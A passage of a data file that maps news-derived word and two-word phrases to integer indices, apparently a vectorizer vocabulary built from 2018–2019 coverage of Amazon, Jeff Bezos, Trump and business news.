"chinese promise": 197765, "directly encourages": 197766, "union using": 197767, "teenage mutant": 197768, "bezos charge": 197769, "chafing": 197770, "construct new": 197771, "debating": 197772, "house cleaning": 197773, "abroad": 197774, "post tunisia": 197775, "reservoir capital": 197776, "agencies raising": 197777, "devastating assault": 197778, "sh shark": 197779, "cs trading": 197780, "geekwire sports": 197781, "spy phones": 197782, "zuma looking": 197783, "snag dod": 197784, "induced inflation": 197785, "dynamic changes": 197786, "606 000": 197787, "email scandal": 197788, "necessary spokesman": 197789, "clearly written": 197790, "probe dark": 197791, "market anxiety": 197792, "book paper": 197793, "drop moving": 197794, "psychotic mother": 197795, "abandons": 197796, "protection taxi": 197797, "abdul": 197798, "27101": 197799, "national wireless": 197800, "literally treats": 197801, "begging": 197802, "conservative refusing": 197803, "objects including": 197804, "emergency trump": 197805, "moves regardless": 197806, "population used": 197807, "wf": 197808, "2003 susan": 197809, "outraged amazon": 197810, "bbc drama": 197811, "publisher says": 197812, "fed conference": 197813, "successful season": 197814, "hearing 9781541673533": 197815, "reportsthat": 197816, "anti union": 197817, "workers worried": 197818, "apple financial": 197819, "street investor": 197820, "offering 10000": 197821, "amendment james": 197822, "cory booker": 197823, "generator": 197824, "beef production": 197825, "different supply": 197826, "guaranteed 100": 197827, "sells amzn": 197828, "discrimination claims": 197829, "global fossil": 197830, "cover common": 197831, "morning report": 197832, "numbers include": 197833, "increased homogenization": 197834, "mean senator": 197835, "campus calls": 197836, "town sacred": 197837, "herculean": 197838, "health cds": 197839, "delivered right": 197840, "media ahead": 197841, "antidote": 197842, "twitter video": 197843, "adobe nasdaq": 197844, "economy germany": 197845, "premise customers": 197846, "starbucks fires": 197847, "luminaid latest": 197848, "clear hillary": 197849, "withstand inflation": 197850, "manipulates": 197851, "northwestern university": 197852, "mta bring": 197853, "2019 postage": 197854, "profitability absent": 197855, "personalized coaching": 197856, "estimates indicate": 197857, "nash": 197858, "lorna schofield": 197859, "dialect": 197860, "2015 sales": 197861, "deficits don": 197862, "wa": 197863, "james baldwin": 197864, "davidson": 197865, "hauer feld": 197866, "bans books": 197867, "reflect": 197868, "company marketing": 197869, "great antitrust": 197870, "blasts": 197871, "challengers garry": 197872, "conservatives unsubscribing": 197873, "improve epa": 197874, "iduskbn1l10hs": 197875, "streamed": 197876, "throwing laurels": 197877, "birthday twinkle": 197878, "distant point": 197879, "charges bezos": 197880, "milestones": 197881, "surprised michael": 197882, "barbecue": 197883, "assets exposing": 197884, "investigationacross": 197885, "amazon providing": 197886, "commerce devin": 197887, "companies ceos": 197888, "dangerous public": 197889, "toronto promise": 197890, "change threatens": 197891, "wapo reported": 197892, "leon": 197893, "achieve national": 197894, "sales soared": 197895, "crowley office": 197896, "tech sets": 197897, "logistics office": 197898, "schools amazon": 197899, "vidal": 197900, "began pushing": 197901, "llc sold": 197902, "intelligence robotics": 197903, "amazon collected": 197904, "greater steps": 197905, "apparent plagiarism": 197906, "packages pecker": 197907, "murder confesses": 197908, "madness gawande": 197909, "intelligence agencies": 197910, "oriented sectors": 197911, "colonies": 197912, "mainstream press": 197913, "results google": 197914, "joined coalition": 197915, "cultural appropriation": 197916, "dinosaurs team": 197917, "sucks": 197918, "legislature passed": 197919, "corona civic": 197920, "banning sketchy": 197921, "sweets": 197922, "efficiently access": 197923, "ave parenting": 197924, "minor feat": 197925, "thought think": 197926, "trump mar": 197927, "marla ann": 197928, "envelop": 197929, "new year": 197930, "exonerate": 197931, "multicity dnainfo": 197932, "shares saying": 197933, "center volunteers": 197934, "moon guest": 197935, "wonderful diamond": 197936, "shui": 197937, "credo recently": 197938, "museum doesn": 197939, "service role": 197940, "think small": 197941, "chiefs disciplinary": 197942, "obama left": 197943, "price edge": 197944, "good information": 197945, "fassbender afp": 197946, "buy big": 197947, "legal jeopardy": 197948, "uncollected": 197949, "son meteoric": 197950, "actually coming": 197951, "italie": 197952, "plunge ceo": 197953, "vision dental": 197954, "238": 197955, "kurtz": 197956, "secret efforts": 197957, "files mankiw": 197958, "rights groups": 197959, "dissent recent": 197960, "perspective accusing": 197961, "party leading": 197962, "view herera": 197963, "hooded sweatshirts": 197964, "companies stated": 197965, "model repeatedly": 197966, "vpc solution": 197967, "attacks bezos": 197968, "hands president": 197969, "tag trump": 197970, "especially interesting": 197971, "h1 visas": 197972, "hartford courant": 197973, "margin north": 197974, "surely counts": 197975, "donate vacation": 197976, "atamanuik": 197977, "movement hanson": 197978, "bobby berk": 197979, "financial units": 197980, "councillor election": 197981, "subtraction": 197982, "collect metadata": 197983, "say investigators": 197984, "conference checklist": 197985, "grossly exaggerates": 197986, "adding dean": 197987, "case scenario": 197988, "multiply alibaba": 197989, "ministry controlled": 197990, "book purchases": 197991, "speedy trial": 197992, "shifts online": 197993, "sears current": 197994, "ske new": 197995, "celebrity fare": 197996, "222": 197997, "admits doj": 197998, "films suggesting": 197999, "spanish conquistador": 198000, "target americans": 198001, "game tech": 198002, "republicans vanish": 198003, "trumpatriotism khalil": 198004, "service member": 198005, "outsources": 198006, "jointly announced": 198007, "held signs": 198008, "grown yr": 198009, "kurosawa": 198010, "soldier": 198011, "country federal": 198012, "smart locks": 198013, "128 c8": 198014, "834704902 960x0": 198015, "fund boss": 198016, "greater oversight": 198017, "commodities new": 198018, "fantastical cakes": 198019, "postal union": 198020, "kalorama near": 198021, "rudolph": 198022, "brexit deal": 198023, "analytica trump": 198024, "medical condition": 198025, "german economy": 198026, "revenge vote": 198027, "force tech": 198028, "printings": 198029, "mira ricardel": 198030, "expert storyteller": 198031, "sensational court": 198032, "rebutted allegations": 198033, "affirmation": 198034, "lured": 198035, "thoughts suggesting": 198036, "legal feud": 198037, "new round": 198038, "president watching": 198039, "aid sanders": 198040, "d2c": 198041, "mexico mnuchin": 198042, "fink rapho": 198043, "slippery slope": 198044, "chief representative": 198045, "blockade": 198046, "priests 2018": 198047, "multibillion": 198048, "reddit share": 198049, "828 days": 198050, "wealthtrust fairport": 198051, "returns nbc": 198052, "publisher ordered": 198053, "lebeau takes": 198054, "american tech": 198055, "reuters yves": 198056, "ny philadelphia": 198057, "contrasts": 198058, "know store": 198059, "empires": 198060, "relentless attacks": 198061, "cycles ago": 198062, "provenance": 198063, "publishing group": 198064, "kudlow trump": 198065, "technicals legacy": 198066, "mortgage payments": 198067, "iconic day": 198068, "eu court": 198069, "edmund": 198070, "continues 2018": 198071, "wouldn release": 198072, "council hearings": 198073, "logistics 2019": 198074, "past commerce": 198075, "tech staff": 198076, "personnel carry": 198077, "day accusing": 198078, "lipped": 198079, "mckesson viking": 198080, "trainer": 198081, "race vying": 198082, "initial billion": 198083, "doing sure": 198084, "post visits": 198085, "amazon accelerator": 198086, "education related": 198087, "divorce battle": 198088, "county loudoun": 198089, "ocean meeting": 198090, "delivery agreements": 198091, "looms": 198092, "benefit biotech": 198093, "capital geekwire": 198094, "mayor comptroller": 198095, "final decisions": 198096, "hosted charity": 198097, "direct account": 198098, "032": 198099, "teeth amazon": 198100, "orbit": 198101, "growing chorus": 198102, "interviewing trump": 198103, "wife lola": 198104, "mccain obamacare": 198105, "increase proposed": 198106, "malignant": 198107, "highlights news": 198108, "math problems": 198109, "reinvested handsomely": 198110, "usually": 198111, "local jurisdictions": 198112, "flag trumpy": 198113, "medical marijuana": 198114, "representing david": 198115, "distanced": 198116, "hatch republican": 198117, "trump meets": 198118, "bureau": 198119, "conceptual baby": 198120, "militant activity": 198121, "portfolio lyon": 198122, "purse": 198123, "penn jillette": 198124, "comcast corp": 198125, "reviews needed": 198126, "credit bloomberg": 198127, "accepting low": 198128, "delectable snack": 198129, "long sunlit": 198130, "really lot": 198131, "rachel martin": 198132, "origin level": 198133, "competitors antitrust": 198134, "attacks tech": 198135, "cabin": 198136, "enumerates": 198137, "unless health": 198138, "purchase order": 198139, "brandon ap": 198140, "young girls": 198141, "smart auto": 198142, "stiff hood": 198143, "instituting": 198144, "aladdin": 198145, "cars thanks": 198146, "postage rates": 198147, "america practice": 198148, "aff": 198149, "notable recent": 198150, "costume parties": 198151, "resistance trump": 198152, "41billion 32billion": 198153, "capacity alongside": 198154, "blockchain lawrence": 198155, "nation trade": 198156, "divergence macd": 198157, "highest target": 198158, "marie callender": 198159, "insidious": 198160, "called voice": 198161, "eventually saw": 198162, "hard evidence": 198163, "bernardo": 198164, "showname html": 198165, "ballistic missile": 198166, "specific companies": 198167, "rate 2018": 198168, "cents instead": 198169, "ice agents": 198170, "guided": 198171, "monopolist practices": 198172, "simply excess": 198173, "democrat laden": 198174, "telling cnn": 198175, "emergency charge": 198176, "text bezos": 198177, "film amazon": 198178, "namibia": 198179, "government relations": 198180, "neurological poison": 198181, "aurora fulfillment": 198182, "accomplish seeding": 198183, "callers": 198184, "encouraging people": 198185, "amid pressure": 198186, "old wind": 198187, "diaz balart": 198188, "low lifes": 198189, "couple used": 198190, "seattle joined": 198191, "chloride": 198192, "don compete": 198193, "threat saying": 198194, "focused amazon": 198195, "confusing animal": 198196, "ic": 198197, "brazen tax": 198198, "crimes minutes": 198199, "accretive": 198200, "khannarohit ro": 198201, "company mark": 198202, "jack carlton": 198203, "trust scrutiny": 198204, "collective_072318": 198205, "celebrity burglary": 198206, "expenses indictment": 198207, "engine giant": 198208, "coffee": 198209, "seasonal": 198210, "giving mission": 198211, "emerson reads": 198212, "screening brief": 198213, "definitely vote": 198214, "mackenzie alleging": 198215, "charles schwabs": 198216, "uncontested markets": 198217, "slowly fade": 198218, "polices tech": 198219, "cloud controlled": 198220, "church claimed": 198221, "vigilante": 198222, "worst reputations": 198223, "diversity heavily": 198224, "drones scary": 198225, "denounced new": 198226, "america fewer": 198227, "clothes": 198228, "don lemon": 198229, "included 239": 198230, "weiss director": 198231, "radio ads": 198232, "primary goal": 198233, "university baker": 198234, "hater": 198235, "eastern syria": 198236, "americans just": 198237, "bezos lobbying": 198238, "rocket": 198239, "usher trump": 198240, "channel starting": 198241, "finally jim": 198242, "oreg": 198243, "beautiful thank": 198244, "time asked": 198245, "media presented": 198246, "polarized response": 198247, "comment alexa": 198248, "yorkshireis cork": 198249, "nbc lester": 198250, "create space": 198251, "fertility environmentalists": 198252, "quarter alphaone": 198253, "shutdown caused": 198254, "deal drags": 198255, "terminated": 198256, "img_rightsflag false": 198257, "russell buettner": 198258, "brennan jobs": 198259, "handsomely rewarded": 198260, "fictional novel": 198261, "presidentelect began": 198262, "yarish": 198263, "appreciate bezos": 198264, "political correspondent": 198265, "developers": 198266, "vision decidedly": 198267, "meeting productivity": 198268, "steel tariff": 198269, "peddlers": 198270, "smart glasses": 198271, "monopolist tactics": 198272, "wise decisions": 198273, "behavior president": 198274, "reuters nato": 198275, "actually required": 198276, "recent information": 198277, "software eventually": 198278, "providing specific": 198279, "gene del": 198280, "mitch haaseth": 198281, "development agencies": 198282, "counseljon": 198283, "justin sullivan": 198284, "meet applicable": 198285, "reckoning abusing": 198286, "mdc": 198287, "unfortunate day": 198288, "removed dsw": 198289, "susan orlean": 198290, "check trump": 198291, "online wallet": 198292, "embarrassing story": 198293, "bank bull": 198294, "safe cutting": 198295, "certain spineless": 198296, "jan story": 198297, "customers identify": 198298, "divide hides": 198299, "private electricity": 198300, "comcast monopoly": 198301, "people science": 198302, "fleeting lauren": 198303, "originally located": 198304, "bezos implication": 198305, "doing inadvertently": 198306, "assets 181008114838": 198307, "earlier diagnosis": 198308, "just following": 198309, "heartening truth": 198310, "sachs pedigree": 198311, "administration began": 198312, "free rapid": 198313, "company obama": 198314, "analytics": 198315, "organizations manage": 198316, "undisclosed ties": 198317, "var p7a": 198318, "wearing tennis": 198319, "laying": 198320, "fulfillment houses": 198321, "known risks": 198322, "sonos ge": 198323, "dustup": 198324, "2018 slash": 198325, "judge cuts": 198326, "giants making": 198327, "goldberg vocal": 198328, "brains": 198329, "devil wears": 198330, "comment michael": 198331, "elites": 198332, "increase taxes": 198333, "31st": 198334, "censorship bias": 198335, "q1 market": 198336, "china coming": 198337, "multinational technology": 198338, "pedro sanchez": 198339, "clearly hurt": 198340, "massively expanded": 198341, "posts roigfranzia": 198342, "create web": 198343, "billion 110": 198344, "officials warned": 198345, "connecting mega": 198346, "methylene": 198347, "500 kari": 198348, "225 index": 198349, "dimensions": 198350, "italy nbc": 198351, "old national": 198352, "travel challenge": 198353, "deal making": 198354, "buying house": 198355, "brian brian": 198356, "bezos claiming": 198357, "standoff sergio": 198358, "retailers actually": 198359, "actually grew": 198360, "platforms topped": 198361, "billion usd": 198362, "term qanon": 198363, "company bourbon": 198364, "wrote additionally": 198365, "2018 related": 198366, "public education": 198367, "thing using": 198368, "economic realities": 198369, "money joan": 198370, "newstoday": 198371, "analyst david": 198372, "say apple": 198373, "stimulates": 198374, "true capital": 198375, "officials including": 198376, "minute interview": 198377, "garfield": 198378, "finance reducing": 198379, "terminals check": 198380, "target private": 198381, "report ilhan": 198382, "1991 testimony": 198383, "abortion referred": 198384, "trump facebooktwittergoogle": 198385, "gender inequality": 198386, "company finds": 198387, "bangladesh refugee": 198388, "finance considers": 198389, "elephants": 198390, "holders consumers": 198391, "nintendo dsi": 198392, "technica tips": 198393, "shortages resulted": 198394, "planet led": 198395, "held 648": 198396, "denver good": 198397, "food housing": 198398, "patient don": 198399, "subpoenaed": 198400, "surveyed believe": 198401, "responded": 198402, "792": 198403, "million vehicles": 198404, "towns amazon": 198405, "david bach": 198406, "sapienza": 198407, "architecture": 198408, "person prior": 198409, "republicans": 198410, "cramer don": 198411, "probably think": 198412, "boulevard": 198413, "fined facebook": 198414, "years died": 198415, "corner think": 198416, "comments": 198417, "company reuters": 198418, "great precision": 198419, "public accountability": 198420, "despite rubio": 198421, "jimmy vielkind": 198422, "best thing": 198423, "outlet affirming": 198424, "physician practices": 198425, "debt regulators": 198426, "worst punishment": 198427, "people believe": 198428, "francisco rescued": 198429, "secretly funded": 198430, "mean young": 198431, "arbitrary efforts": 198432, "search site": 198433, "illiquid": 198434, "haughney": 198435, "amazon mass": 198436, "severely regulate": 198437, "report quoted": 198438, "leading product": 198439, "department litigation": 198440, "company noticed": 198441, "michal cc": 198442, "prevent trump": 198443, "cvs store": 198444, "disappointing guidance": 198445, "sephora": 198446, "tiny chips": 198447, "8217 controversial": 198448, "m2x o8": 198449, "sec fine": 198450, "country population": 198451, "tape parade": 198452, "asia great": 198453, "dma": 198454, "legal national": 198455, "bezos interests": 198456, "post surgical": 198457, "mandalay": 198458, "routinely guides": 198459, "took heat": 198460, "directly represent": 198461, "restaurant rat": 198462, "business customers": 198463, "pin board": 198464, "videocardcontents headlinetext": 198465, "author ken": 198466, "kun je": 198467, "ahmed pakistani": 198468, "grammy awards6": 198469, "class enviros": 198470, "radio sputniknews": 198471, "service lightweight": 198472, "ly 2n78tpk": 198473, "best attempt": 198474, "analytics modernization": 198475, "continuing pattern": 198476, "david levering": 198477, "pain nyc": 198478, "dropping mail": 198479, "small government": 198480, "offsetting emissions": 198481, "seattle proposed": 198482, "warned google": 198483, "nyt cnn": 198484, "hegemony depends": 198485, "matt lauer": 198486, "elections billionaires": 198487, "environmental politics": 198488, "reportedly plans": 198489, "gulati": 198490, "celebrants walker": 198491, "clearly directed": 198492, "ge specifically": 198493, "article trump": 198494, "rojas queens": 198495, "linkedin today": 198496, "realdonaldtrump leaves": 198497, "valley extend": 198498, "major shade": 198499, "make robots": 198500, "media activity": 198501, "just assuming": 198502, "josh billinson": 198503, "notable web": 198504, "yelp profit": 198505, "considers hostile": 198506, "states premium": 198507, "dinner employs": 198508, "compartmentalization": 198509, "seachange": 198510, "n923056": 198511, "followed maxine": 198512, "pillpack chief": 198513, "jumpedby": 198514, "investors elon": 198515, "baby cobra": 198516, "web giant": 198517, "comics separately": 198518, "pontiff": 198519, "deceptive ge": 198520, "coming conflict": 198521, "horizon": 198522, "tbridis": 198523, "panther": 198524, "china japan": 198525, "owned pretty": 198526, "items ordered": 198527, "film industry": 198528, "discuss ways": 198529, "20c": 198530, "toni collette": 198531, "wage increases": 198532, "frustrated": 198533, "pennsgrove beautiful": 198534, "named nathan": 198535, "journal 2018": 198536, "shares rose": 198537, "pay higher": 198538, "durbin sent": 198539, "political favours": 198540, "sutherland": 198541, "rest overtime": 198542, "group reporters": 198543, "comment rosenstein": 198544, "amgn": 198545, "print edition": 198546, "koch connected": 198547, "returns audit": 198548, "marries wealthy": 198549, "labour party": 198550, "political action": 198551, "capitals owner": 198552, "improperly misheard": 198553, "essay collection": 198554, "mueller wants": 198555, "gibson president": 198556, "prefer": 198557, "public search": 198558, "naughty news": 198559, "just year": 198560, "devil character": 198561, "double amzn": 198562, "disgraceful performances": 198563, "counterfeit products": 198564, "145": 198565, "totaling": 198566, "bachelor degree": 198567, "politically active": 198568, "wealthtrust": 198569, "point tomi": 198570, "allowed sen": 198571, "character": 198572, "explore characters": 198573, "year 2056": 198574, "greed amazon": 198575, "poetry tangent": 198576, "kreps cocreator": 198577, "driver crashes": 198578, "sold including": 198579, "dave ferrar": 198580, "billion cook": 198581, "delicious meal": 198582, "700 opportunity": 198583, "video surveillance": 198584, "consequential cases": 198585, "woman karen": 198586, "email investigation": 198587, "love sarge": 198588, "president jean": 198589, "stoking fresh": 198590, "jesse custer": 198591, "criticize walmart": 198592, "generic": 198593, "reuters judge": 198594, "rusting ferryboat": 198595, "customers using": 198596, "abuse trans": 198597, "region rep": 198598, "significant accuracy": 198599, "473": 198600, "destroy": 198601, "faced persistent": 198602, "gas": 198603, "launches ad": 198604, "lines painted": 198605, "president thinks": 198606, "management community": 198607, "bezos included": 198608, "house mulls": 198609, "twitter rickjnewmanfollow": 198610, "reliant": 198611, "pilcher pllc": 198612, "l9x": 198613, "company online": 198614, "manipulative": 198615, "slow jim": 198616, "2018 inflamed": 198617, "added love": 198618, "china president": 198619, "unveiled series": 198620, "defending dhs": 198621, "2019 big": 198622, "criminal investigations": 198623, "carrie fisher": 198624, "64gb": 198625, "organization modeled": 198626, "war era": 198627, "category france": 198628, "predicts 2018": 198629, "iraq war": 198630, "llc home": 198631, "robocall": 198632, "retirement funds": 198633, "pagels": 198634, "russia trump": 198635, "monthly fees": 198636, "scantily": 198637, "questions including": 198638, "limited selection": 198639, "trust adopted": 198640, "ami reportedly": 198641, "recessed": 198642, "repeated clashes": 198643, "revolving": 198644, "uk tl": 198645, "congresswoman suzan": 198646, "succeeded bezos": 198647, "hardened cynics": 198648, "rebounding": 198649, "states including": 198650, "scene armed": 198651, "pgtype homepage": 198652, "university joined": 198653, "month moving": 198654, "homeless families": 198655, "distinguished": 198656, "iduskbn1k6278": 198657, "trust probes": 198658, "overall socio": 198659, "photos taken": 198660, "flu vaccine": 198661, "significant blowback": 198662, "tough time": 198663, "month demanding": 198664, "observe boost": 198665, "separate post": 198666, "factors facing": 198667, "snap participation": 198668, "finalizing": 198669, "current period": 198670, "politics faison": 198671, "answer force": 198672, "600 high": 198673, "accounts gary": 198674, "nike": 198675, "email spokeswoman": 198676, "relationsamazon press": 198677, "held ukraine": 198678, "disruptive company": 198679, "ave starting": 198680, "amazon reporter": 198681, "portfolio tweaks": 198682, "cfo warner": 198683, "longtime collaborator": 198684, "growing anxiety": 198685, "report recommended": 198686, "licensing deals": 198687, "citigroup study": 198688, "previously run": 198689, "rampant turnover": 198690, "resist donald": 198691, "note factcheck": 198692, "instance trump": 198693, "bezos publishes": 198694, "billion yesterday": 198695, "rapists": 198696, "month ago": 198697, "pay staff": 198698, "dani lever": 198699, "strongly": 198700, "aided": 198701, "provided refuge": 198702, "watson don": 198703, "content needs": 198704, "longest judicial": 198705, "duly picked": 198706, "reports noting": 198707, "lauren brother": 198708, "remake plans": 198709, "showing texts": 198710, "unflattering things": 198711, "trump posts": 198712, "simple rulejoin": 198713, "warr": 198714, "sponsorships": 198715, "576 million": 198716, "post tax": 198717, "conventional": 198718, "airport delta": 198719, "winning believe": 198720, "enjoy safe": 198721, "listening objectively": 198722, "quarterly dividend": 198723, "job market": 198724, "fires los": 198725, "agrawal reid": 198726, "nonprofits want": 198727, "bleeds": 198728, "noodles airs": 198729, "fact received": 198730, "shirts": 198731, "previously considered": 198732, "fiscal support": 198733, "trump collusion": 198734, "array a4ee": 198735, "offline strategies": 198736, "stayed uncharacteristically": 198737, "criticizing trump": 198738, "bloc slash": 198739, "past efforts": 198740, "inaccuracies": 198741, "curiosity": 198742, "personal computer": 198743, "organization": 198744, "becker firm": 198745, "flack": 198746, "administer": 198747, "comedic allegory": 198748, "iran 150": 198749, "package products": 198750, "richard stark": 198751, "child rearing": 198752, "amazon gas": 198753, "advertisement": 198754, "tricorder": 198755, "nasdaq technology": 198756, "magazine writing": 198757, "viewers": 198758, "clicks": 198759, "facilitated charity": 198760, "default seller": 198761, "city great": 198762, "trump meaning": 198763, "stars post": 198764, "played pam": 198765, "free lunch": 198766, "presidenttrump": 198767, "coltin": 198768, "maryland newspaper": 198769, "neo": 198770, "decade opinion": 198771, "michael s\u00e1nchez": 198772, "tm according": 198773, "argenti communications": 198774, "asked similar": 198775, "stalwart sent": 198776, "racism": 198777, "historical morning": 198778, "returning rental": 198779, "various losers": 198780, "launched novel": 198781, "trump executive": 198782, "trump giuliani": 198783, "street looks": 198784, "industry 19659002": 198785, "site removing": 198786, "invasive militarized": 198787, "advance jeffs": 198788, "sam walton": 198789, "privatization manufacturers": 198790, "core online": 198791, "american millionaires": 198792, "trump tweeted": 198793, "ou want": 198794, "homecoming amazon": 198795, "additional price": 198796, "transportation company": 198797, "roast brisket": 198798, "allegedly beat": 198799, "acknowledges": 198800, "overall results": 198801, "imperfect science": 198802, "josh feldman": 198803, "tilley": 198804, "history making": 198805, "sex": 198806, "2017 elvis": 198807, "shear maeve": 198808, "immelt ends": 198809, "growing categories": 198810, "fun trump": 198811, "away governor": 198812, "especially creating": 198813, "ambassador residence": 198814, "bezos firmly": 198815, "commissioner howard": 198816, "politicians publicly": 198817, "cap tops": 198818, "launch account": 198819, "investigation info": 198820, "initial plans": 198821, "mary place": 198822, "business regular": 198823, "men baby": 198824, "amazon delivered": 198825, "jonathan martin": 198826, "enterprises located": 198827, "supersede prenuptial": 198828, "sciences": 198829, "angel mom": 198830, "trumping": 198831, "988": 198832, "defense embed": 198833, "vote drew": 198834, "onewest ceos": 198835, "faces seen": 198836, "v4": 198837, "usps sell": 198838, "best coming": 198839, "service mail": 198840, "beth mccarthy": 198841, "citigroup estimated": 198842, "content author": 198843, "cities 2018": 198844, "business reported": 198845, "chinook": 198846, "service does": 198847, "buildings graffiti": 198848, "story surprised": 198849, "stockpiling birth": 198850, "becker tried": 198851, "trump concern": 198852, "realism meets": 198853, "paint scheme": 198854, "philanthropy education": 198855, "way bezos": 198856, "election chip": 198857, "office isn": 198858, "specifically alleges": 198859, "potential hq2": 198860, "john owen": 198861, "patently incompetent": 198862, "busch": 198863, "proud people": 198864, "population facebook": 198865, "timeframetoggle": 198866, "time john": 198867, "challenging issue": 198868, "transformation naff": 198869, "gift anya": 198870, "flouting": 198871, "trump demonizing": 198872, "tm business": 198873, "disrepute": 198874, "rnc caldwell": 198875, "later eager": 198876, "sanders did": 198877, "base according": 198878, "family farm": 198879, "key graf": 198880, "york times": 198881, "atlas air": 198882, "t000138309 t000047680": 198883, "trumptrivia facts": 198884, "simon maloy": 198885, "voted california": 198886, "mutual": 198887, "brazilian agribusiness": 198888, "dropped shortly": 198889, "sanders satisfied": 198890, "rebuking": 198891, "ingber": 198892, "edge including": 198893, "task force": 198894, "campaign associate": 198895, "biggest spenders": 198896, "justified david": 198897, "subsidize employees": 198898, "establishing campaign": 198899, "trying": 198900, "google including": 198901, "list keeping": 198902, "earners": 198903, "matter treasury": 198904, "berkowitz seth": 198905, "ferret": 198906, "artificial sweeteners": 198907, "fledged amazon": 198908, "historical role": 198909, "public denials": 198910, "huge issue": 198911, "quo deal": 198912, "obama post": 198913, "remain secret": 198914, "birth cell": 198915, "unions critics": 198916, "specific anti": 198917, "buffett arnault": 198918, "perry bailout": 198919, "publication embedded": 198920, "directly tied": 198921, "valley folklore": 198922, "hyped olympic": 198923, "jobs program": 198924, "pfizer ceo": 198925, "paypal pricing": 198926, "boyfriend seasons": 198927, "military personnel": 198928, "richard madden": 198929, "near bezos": 198930, "generate 258": 198931, "post american": 198932, "new digital": 198933, "favor": 198934, "shortfall": 198935, "carnival carnival": 198936, "reason wieser": 198937, "boarder": 198938, "rant": 198939, "lockdown mode": 198940, "recent public": 198941, "golfer tiger": 198942, "amazon trading": 198943, "amidst": 198944, "haunted trump": 198945, "denouncing google": 198946, "curry born": 198947, "newsletter signup": 198948, "honest critics": 198949, "pep guardiola": 198950, "globeandmail": 198951, "shoe": 198952, "amazon close": 198953, "considering imposing": 198954, "send package": 198955, "newsman book": 198956, "brexit 2019": 198957, "market leading": 198958, "challenge seattle": 198959, "lost profit": 198960, "offer variety": 198961, "bgsa supply": 198962, "professor paul": 198963, "beginning mueller": 198964, "create supply": 198965, "shaub": 198966, "newer ones": 198967, "nicki minaj": 198968, "mcternan": 198969, "fried": 198970, "foods nyse": 198971, "david madden": 198972, "pulled lower": 198973, "verhoeven": 198974, "giant paid": 198975, "twsrc 5etfw": 198976, "recode conference": 198977, "completely independent": 198978, "schoolyard style": 198979, "romantic couple": 198980, "times plays": 198981, "observing becker": 198982, "band canned": 198983, "titled enemies": 198984, "conveniently": 198985, "number 611": 198986, "trump attitude": 198987, "islands": 198988, "separate offerings": 198989, "hunt led": 198990, "laud": 198991, "notches": 198992, "individuals affiliated": 198993, "formulas evolutions": 198994, "employee uncover": 198995, "szhueznnwb": 198996, "construction brian": 198997, "search thingy": 198998, "fabric": 198999, "key sales": 199000, "america provides": 199001, "riveting dark": 199002, "county investigators": 199003, "trump make": 199004, "tasers": 199005, "maximum dollar": 199006, "diversified": 199007, "inflation trend": 199008, "academic sentenced": 199009, "getting confirmed": 199010, "company sent": 199011, "infantry battalion": 199012, "corleone": 199013, "evening amazon": 199014, "longer wants": 199015, "reputation tonight": 199016, "decisive steps": 199017, "screening": 199018, "hikers rescued": 199019, "alliance dropped": 199020, "shrinks": 199021, "ineligible": 199022, "deputy editor": 199023, "economy biggest": 199024, "live longer": 199025, "ethical behavior": 199026, "printed letters": 199027, "cohen kristine": 199028, "lori": 199029, "lead single": 199030, "bonn\u00e9": 199031, "children sent": 199032, "startup blue": 199033, "sanders sent": 199034, "movie rainy": 199035, "acting ceo": 199036, "produce": 199037, "critics question": 199038, "largest owner": 199039, "x0 global": 199040, "cramer concluded": 199041, "2017 fiscal": 199042, "bezos previously": 199043, "going away": 199044, "contractor access": 199045, "helio": 199046, "brazil agriculture": 199047, "sexual relationship": 199048, "contenttype video": 199049, "worth repeating": 199050, "law professors": 199051, "food wine": 199052, "person direct": 199053, "released report": 199054, "2030s": 199055, "vulnerable morgan": 199056, "caicos": 199057, "prior range": 199058, "design source": 199059, "mackenzie": 199060, "leakers surely": 199061, "p1rjfrpwte nick": 199062, "2020 case": 199063, "tech heavy": 199064, "schroeder 415": 199065, "open warehouse": 199066, "erin banco": 199067, "outlet bezos": 199068, "contenttype image": 199069, "g7a return": 199070, "ruins washington": 199071, "tyler remarked": 199072, "presidential debates": 199073, "house doesn": 199074, "games atp": 199075, "briskly": 199076, "charters": 199077, "epa official": 199078, "possible analysts": 199079, "electronic prescriptions": 199080, "todefer defer": 199081, "public exchange": 199082, "household essentials": 199083, "drop puts": 199084, "amazon retail": 199085, "touches": 199086, "thoughts especially": 199087, "rising costs": 199088, "include pose": 199089, "doesn stop": 199090, "retrade": 199091, "obtained private": 199092, "provide treatment": 199093, "email hope": 199094, "school support": 199095, "idea jim": 199096, "stenberg": 199097, "seriously considers": 199098, "uma\u00f1a narcos": 199099, "sunlit days": 199100, "cloud provider": 199101, "play 1011thewiz": 199102, "soundness": 199103, "currently utilizing": 199104, "computing bezos": 199105, "term bezos": 199106, "official overseeing": 199107, "bezos high": 199108, "greenwood religious": 199109, "turf long": 199110, "michelle castillo": 199111, "trees right": 199112, "minutes apart": 199113, "consumer friendly": 199114, "wired microneedles": 199115, "washington say": 199116, "showdown": 199117, "181002173716": 199118, "aff boilerplate": 199119, "linear television": 199120, "includes secure": 199121, "minus": 199122, "hurt gianforte": 199123, "girl handbook": 199124, "uk brexit": 199125, "refusing": 199126, "maple leafs": 199127, "earbuds": 199128, "stebbing professor": 199129, "motor handy": 199130, "ongoing criticism": 199131, "teaching civic": 199132, "billion naturally": 199133, "personally identifiable": 199134, "county": 199135, "annual conference": 199136, "misleading campaign": 199137, "moving items": 199138, "warnings 2017": 199139, "wgn": 199140, "action shows": 199141, "hike instead": 199142, "later ubhi": 199143, "self harm": 199144, "wearing red": 199145, "coen": 199146, "publicly disclosed": 199147, "trump claim": 199148, "alternatives": 199149, "magnum": 199150, "consumer oriented": 199151, "david zinczenko": 199152, "final film": 199153, "word free": 199154, "r4ee i6": 199155, "kavanaugh showdown": 199156, "789 shares": 199157, "ultimate product": 199158, "advice ven": 199159, "laws depends": 199160, "vinci code": 199161, "attacks ap": 199162, "tock": 199163, "agribusiness deforestation": 199164, "173 small": 199165, "hengyang": 199166, "competing travel": 199167, "pr blow": 199168, "urayajvw36 bloomberg": 199169, "moving people": 199170, "land area": 199171, "reveals internal": 199172, "fat uffe": 199173, "stem financial": 199174, "upright lawyer": 199175, "currently doing": 199176, "paulina gonzalez": 199177, "second run": 199178, "political party": 199179, "costco versus": 199180, "theory": 199181, "regions torrid": 199182, "meals mozzarella": 199183, "harmed competitors": 199184, "designated hate": 199185, "bans trump": 199186, "location protocol": 199187, "capacity dave": 199188, "chat devin": 199189, "assets real": 199190, "haaseth abc": 199191, "drivers need": 199192, "fundamentally": 199193, "t000002953 t000002775": 199194, "houghton mifflin": 199195, "owlfirstitem owlprevitem": 199196, "commercially operated": 199197, "buyback frenzy": 199198, 